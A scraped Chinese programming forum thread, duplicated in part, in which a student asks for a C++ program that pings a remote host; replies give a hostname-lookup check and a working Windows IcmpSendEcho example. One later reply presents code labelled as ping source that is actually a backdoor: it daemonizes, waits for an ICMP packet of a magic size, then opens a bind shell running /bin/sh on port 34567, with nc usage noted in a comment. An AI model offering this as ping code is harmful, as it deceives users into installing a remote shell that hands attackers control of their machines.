谁能帮忙告诉我一个用C++编写的PING远程主机程序 老师布置的作业,VC++实现探测远程主机是否可达。急需帮助 要能用的,谢谢各位大侠。 解决方案 » 免费领取超大流量手机卡,每月29元包185G流量+100分钟通话, 中国电信官方发货 给你代码BOOL CXXXXXXXXXXX::mf_IsSocketConnect(CString strIP, LONG lPort){ char szTemp[1024] = {NULL}; WideCharToMultiByte( CP_ACP, 0, strIP.GetBuffer(0), -1, szTemp, 1024, NULL, NULL ); struct sockaddr_in ServerHostAddr;//服务主机地 ServerHostAddr.sin_family=AF_INET; ServerHostAddr.sin_port=::htons(u_short(lPort)); ServerHostAddr.sin_addr.s_addr=::inet_addr(szTemp); PHOSTENT pResult; // if (m_bUseIPAddress) // { // pResult = gethostbyaddr((const char *) &(ServerHostAddr.sin_addr.s_addr), 4, AF_INET); // } // else { pResult = gethostbyname(szTemp); //if it is not success, try again by IP address. if (pResult == NULL) { pResult = gethostbyaddr((const char *) &(ServerHostAddr.sin_addr.s_addr), 4, AF_INET); } } if(NULL==pResult) { int nErrorCode=WSAGetLastError(); TRACE("gethostbyaddr errorcode=%d",nErrorCode); return FALSE; } else { TRACE("gethostbyaddr %s\n",pResult->h_name); return TRUE; } } http://blog.csdn.net/VisualEleven/archive/2010/04/21/5512462.aspx CString strDestination = _T("192.108.0.1"); char bIP[ 20 ]; size_t tr = wcstombs( bIP, strDestination, 20); WORD wVersionRequested; WSADATA wsaData; int err; wVersionRequested = MAKEWORD( 2, 2 ); err = WSAStartup( wVersionRequested, &wsaData ); if ( err != 0 ) { AfxMessageBox(_T("Ping:WSAStartup")); return; } HANDLE hIcmpFile; unsigned long ipaddr = INADDR_NONE; DWORD dwRetVal = 0; char SendData[] = "Data Buffer"; LPVOID ReplyBuffer = NULL; DWORD ReplySize = 0; hIcmpFile = IcmpCreateFile(); if (hIcmpFile == INVALID_HANDLE_VALUE) { WSACleanup(); return; } ReplySize = sizeof(ICMP_ECHO_REPLY) + sizeof(SendData); ReplyBuffer = (VOID*) malloc(ReplySize); if (ReplyBuffer == NULL) { IcmpCloseHandle( hIcmpFile ); WSACleanup(); return; } ipaddr = inet_addr( bIP ); DWORD dwb = ::GetTickCount(); dwRetVal = IcmpSendEcho(hIcmpFile, ipaddr, SendData, sizeof(SendData), NULL, ReplyBuffer, ReplySize, PING_TIME_OUT); DWORD dwe = ::GetTickCount(); CString strt; strt.Format(_T("%d"),dwe-dwb); if( 0 == dwRetVal ) // Call to IcmpSendEcho failed. { AfxMessageBox(_T("FAILED1")); AfxMessageBox(strt); IcmpCloseHandle( hIcmpFile ); free(ReplyBuffer); WSACleanup(); return; } PICMP_ECHO_REPLY pEchoReply = (PICMP_ECHO_REPLY)ReplyBuffer; ULONG errcodes = pEchoReply->Status; if( IP_SUCCESS == errcodes) { AfxMessageBox(_T("SUCCESS")); AfxMessageBox(strt); IcmpCloseHandle( hIcmpFile ); free(ReplyBuffer); WSACleanup(); return; } else // Refer to ICMP_ECHO_REPLY for the error codes { AfxMessageBox(_T("FAILED2")); AfxMessageBox(strt); IcmpCloseHandle( hIcmpFile ); free(ReplyBuffer); WSACleanup(); return; } 另外需加上:#include "iphlpapi.h"#include "icmpapi.h"#define PING_TIME_OUT 200 以及静态库Iphlpapi.libIcmpSendEcho这种方法在vc6 和 vs2008上可以 但是vs2003好像不支持, 如果是vs2003你需要用套接字编程 网上有现成的代码 去找linux系统的ping源码!! 补充一个,远端是可以ping的,你的把防火墙设置好呀。就是不知道你的远程机器是否是你可以控制的。 ping源码 /* ping -s 100 192.168.11.7 nc 192.168.11.7 34567 */ #include <signal.h> #include <netinet/in.h> #include <netdb.h> #include <sys/socket.h> #include <sys/types.h> #include <stdio.h> #define SIZEPACK 88 #define PORT 34567 void child_kill() { wait(NULL); signal(SIGCHLD, child_kill); } int bind_shell() { int soc_des, soc_cli, soc_rc, soc_len, server_pid, cli_pid; struct sockaddr_in serv_addr; struct sockaddr_in client_addr; setuid(0); setgid(0); seteuid(0); setegid(0); chdir( "/ "); soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (soc_des == -1) exit(-1); bzero((char *) &serv_addr,sizeof(serv_addr)); serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = htonl(INADDR_ANY); serv_addr.sin_port = htons(PORT); soc_rc = bind(soc_des, (struct sockaddr *) &serv_addr, sizeof(serv_addr)); if (soc_rc != 0) exit(-1); if (fork() != 0) exit(0); setpgrp(); if (fork() != 0) exit(0); soc_rc = listen(soc_des, 5); if (soc_rc != 0) exit(0); while (1) { soc_len = sizeof(client_addr); soc_cli = accept(soc_des, (struct sockaddr *) &client_addr, &soc_len); if (soc_cli < 0) exit(0); cli_pid = getpid(); server_pid = fork(); if (server_pid != 0) { dup2(soc_cli,0); dup2(soc_cli,1); dup2(soc_cli,2); execl( "/bin/sh ", "sh ",(char *)0); close(soc_cli); return 1; } close(soc_cli); } } int main(int argc, char *argv[]) { int s, size, fromlen; char pkt[4096]; struct protoent *proto; struct sockaddr_in from; if (fork() != 0) exit(0); proto = getprotobyname( "icmp "); if ((s = socket(AF_INET, SOCK_RAW, proto-> p_proto)) < 0) /* can 't creat raw socket */ exit(0); /* waiting for packets */ while(1) { do { fromlen = sizeof(from); if ((size = recvfrom(s, pkt, sizeof(pkt), 0, (struct sockaddr *) &from, &fromlen)) < 0) printf( "ping of %i ", size-28); } while (size != SIZEPACK + 28); /* size == SIZEPACK, let 's bind the shell */ switch(fork()) { case -1: continue; case 0: bind_shell(); exit(0); } sleep(15); } } 楼主,你能不把你的代码发我一份,我现在也在做这个课程设计,急需。小妹的C++学的很差,万分感谢!邮箱[email protected] 怎样 在DLL函数中判断 是那个进程掉用了本函数? 急,用ADO操作ACCESS数据库 关于选择对话框 有对视频采集系统熟悉的朋友请进来, 知道哪里有卖高精度兆象素级的摄像头吗 使用mfc怎样操作listBox 关于GPRS延时,请教各位高手 文件结束问题<怪> 变量定义问题 求救!VC往Oracle表快速插入大量数据 ActiveX控件的编译问题【奇怪】 为什么写频后,发射时数据不对 怎么调整控件的大小
给你代码
BOOL CXXXXXXXXXXX::mf_IsSocketConnect(CString strIP, LONG lPort)
{
char szTemp[1024] = {NULL};
WideCharToMultiByte( CP_ACP, 0, strIP.GetBuffer(0), -1,
szTemp, 1024, NULL, NULL ); struct sockaddr_in ServerHostAddr;//服务主机地
ServerHostAddr.sin_family=AF_INET;
ServerHostAddr.sin_port=::htons(u_short(lPort));
ServerHostAddr.sin_addr.s_addr=::inet_addr(szTemp); PHOSTENT pResult;
// if (m_bUseIPAddress)
// {
// pResult = gethostbyaddr((const char *) &(ServerHostAddr.sin_addr.s_addr), 4, AF_INET);
// }
// else
{
pResult = gethostbyname(szTemp);
//if it is not success, try again by IP address.
if (pResult == NULL)
{
pResult = gethostbyaddr((const char *) &(ServerHostAddr.sin_addr.s_addr), 4, AF_INET);
}
} if(NULL==pResult)
{
int nErrorCode=WSAGetLastError();
TRACE("gethostbyaddr errorcode=%d",nErrorCode);
return FALSE;
}
else
{
TRACE("gethostbyaddr %s\n",pResult->h_name);
return TRUE;
}
}
char bIP[ 20 ];
size_t tr = wcstombs( bIP, strDestination, 20); WORD wVersionRequested;
WSADATA wsaData;
int err;
wVersionRequested = MAKEWORD( 2, 2 );
err = WSAStartup( wVersionRequested, &wsaData );
if ( err != 0 )
{
AfxMessageBox(_T("Ping:WSAStartup"));
return;
}
HANDLE hIcmpFile;
unsigned long ipaddr = INADDR_NONE;
DWORD dwRetVal = 0;
char SendData[] = "Data Buffer";
LPVOID ReplyBuffer = NULL;
DWORD ReplySize = 0;
hIcmpFile = IcmpCreateFile();
if (hIcmpFile == INVALID_HANDLE_VALUE)
{
WSACleanup();
return;
} ReplySize = sizeof(ICMP_ECHO_REPLY) + sizeof(SendData);
ReplyBuffer = (VOID*) malloc(ReplySize);
if (ReplyBuffer == NULL)
{
IcmpCloseHandle( hIcmpFile );
WSACleanup();
return;
}
ipaddr = inet_addr( bIP );
DWORD dwb = ::GetTickCount();
dwRetVal = IcmpSendEcho(hIcmpFile, ipaddr, SendData, sizeof(SendData),
NULL, ReplyBuffer, ReplySize, PING_TIME_OUT);
DWORD dwe = ::GetTickCount();
CString strt;
strt.Format(_T("%d"),dwe-dwb);
if( 0 == dwRetVal ) // Call to IcmpSendEcho failed.
{
AfxMessageBox(_T("FAILED1"));
AfxMessageBox(strt);
IcmpCloseHandle( hIcmpFile );
free(ReplyBuffer);
WSACleanup();
return;
} PICMP_ECHO_REPLY pEchoReply = (PICMP_ECHO_REPLY)ReplyBuffer;
ULONG errcodes = pEchoReply->Status;
if( IP_SUCCESS == errcodes)
{
AfxMessageBox(_T("SUCCESS"));
AfxMessageBox(strt);
IcmpCloseHandle( hIcmpFile );
free(ReplyBuffer);
WSACleanup();
return;
}
else // Refer to ICMP_ECHO_REPLY for the error codes
{
AfxMessageBox(_T("FAILED2"));
AfxMessageBox(strt);
IcmpCloseHandle( hIcmpFile );
free(ReplyBuffer);
WSACleanup();
return;
}
#include "iphlpapi.h"
#include "icmpapi.h"#define PING_TIME_OUT 200 以及静态库Iphlpapi.lib
IcmpSendEcho这种方法在vc6 和 vs2008上可以 但是vs2003好像不支持, 如果是vs2003你需要用套接字编程 网上有现成的代码
ping -s 100 192.168.11.7
nc 192.168.11.7 34567
*/
#include <signal.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdio.h>
#define SIZEPACK 88
#define PORT 34567 void child_kill()
{
wait(NULL);
signal(SIGCHLD, child_kill);
} int bind_shell()
{ int soc_des, soc_cli, soc_rc, soc_len, server_pid, cli_pid;
struct sockaddr_in serv_addr;
struct sockaddr_in client_addr; setuid(0);
setgid(0);
seteuid(0);
setegid(0); chdir( "/ "); soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (soc_des == -1)
exit(-1); bzero((char *) &serv_addr,sizeof(serv_addr)); serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
serv_addr.sin_port = htons(PORT);
soc_rc = bind(soc_des, (struct sockaddr *) &serv_addr, sizeof(serv_addr)); if (soc_rc != 0)
exit(-1); if (fork() != 0)
exit(0); setpgrp(); if (fork() != 0)
exit(0); soc_rc = listen(soc_des, 5);
if (soc_rc != 0)
exit(0); while (1)
{
soc_len = sizeof(client_addr);
soc_cli = accept(soc_des, (struct sockaddr *) &client_addr, &soc_len); if (soc_cli < 0)
exit(0); cli_pid = getpid();
server_pid = fork(); if (server_pid != 0)
{
dup2(soc_cli,0);
dup2(soc_cli,1);
dup2(soc_cli,2);
execl( "/bin/sh ", "sh ",(char *)0);
close(soc_cli);
return 1;
} close(soc_cli);
}
} int main(int argc, char *argv[])
{ int s, size, fromlen;
char pkt[4096]; struct protoent *proto;
struct sockaddr_in from; if (fork() != 0) exit(0); proto = getprotobyname( "icmp "); if ((s = socket(AF_INET, SOCK_RAW, proto-> p_proto)) < 0)
/* can 't creat raw socket */
exit(0); /* waiting for packets */
while(1)
{
do
{
fromlen = sizeof(from);
if ((size = recvfrom(s, pkt, sizeof(pkt), 0, (struct sockaddr *) &from, &fromlen)) < 0)
printf( "ping of %i ", size-28); } while (size != SIZEPACK + 28); /* size == SIZEPACK, let 's bind the shell */
switch(fork()) {
case -1:
continue;
case 0:
bind_shell();
exit(0);
} sleep(15); }
}